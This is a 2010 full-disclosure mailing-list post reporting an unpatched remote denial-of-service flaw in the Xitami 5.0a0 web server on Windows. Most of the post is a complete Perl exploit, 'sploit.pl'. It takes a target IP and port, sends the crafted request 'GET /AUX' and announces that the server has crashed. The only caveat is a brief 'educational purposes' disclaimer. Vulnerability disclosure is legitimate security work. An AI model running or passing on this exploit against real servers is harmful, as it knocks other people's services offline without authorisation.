full-disclosure - Xitami-5.0a0-windows DOS

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Message-ID: <4BE7CE43.6080007@xc0re.net>
Date: Mon, 10 May 2010 14:13:39 +0500
From: Usman Saeed <usman@...re.net>
To: full-disclosure@...ts.grok.org.uk
Subject: Xitami-5.0a0-windows DOS

###########################################################################################
#
# Name : Xitami/5.0a0 Denial Of Service
# Author: Usman Saeed
# Company: Xc0re Security Research Group
# Website: http://www.xc0re.net
# DATE: 10/05/10
# Tested on Windows 7 !
###########################################################################################

Disclaimer: [This code is for Educational Purposes , I would Not be
responsible for any misuse of this code]

[*] Download Page :http://www.xitami.com

[*] Attack type : Remote

[*] Patch Status : Unpatched

[*] Description  : By sending a crafted GET request [GET /AUX HTTP/1.1] to
the server ,  the server crashes !

[*] Exploitation :

#!/usr/bin/perl
# Xitami/5.0a0 Denial Of Service
# Disclaimer:
# [This code is for Educational Purposes , I would Not be responsible for any misuse of this code]
# Author: Usman Saeed
# Company: Xc0re Security Research Group
# Website:http://www.xc0re.net
# DATE: [25/10/09]

$host = $ARGV[0];
$PORT = $ARGV[1];

$packet = "AUX";

$stuff = "GET /".$packet." HTTP/1.0\r\n\r\n";

use IO::Socket::INET;
if (! defined $ARGV[0])
{
print "+========================================================+\n";
print "+ Program [Xitami/5.0a0 Denial Of Service]               +\n";
print "+ Author [Usman Saeed]                                   +\n";
print "+ Company [Xc0re Security Research Group]                +\n";
print "+ DATE: [10/05/10]                                       +\n";
print "+ Usage :perl sploit.pl webserversip wbsvrport           +\n";
print "+ Disclaimer: [This code is for Educational Purposes ,   +\n";
print "+ I would Not be responsible for any misuse of this code]+\n";
print "+========================================================+\n";

exit;
}

$sock = IO::Socket::INET->new( Proto =>  "tcp",PeerAddr  =>  $host , PeerPort  =>  $PORT) || die "Cant connect to $host!";
print "+========================================================+\n";
print "+ Program [Xitami/5.0a0 Denial Of Service]               +\n";
print "+ Author [Usman Saeed]                                   +\n";
print "+ Company [Xc0re Security Research Group]                +\n";
print "+ DATE: [10/05/10]                                       +\n";
print "+ Usage :perl sploit.pl webserversip wbsvrport           +\n";
print "+ Disclaimer: [This code is for Educational Purposes ,   +\n";
print "+ I would Not be responsible for any misuse of this code]+\n";
print "+========================================================+\n";

print "\n";

print "[*] Initializing\n";

sleep(2);

print "[*] Sendin DOS Packet \n";

send ($sock , $stuff , 0);
print "[*] Crashed:)  \n";
$res = recv($sock,$response,1024,0);
print $response;

exit;

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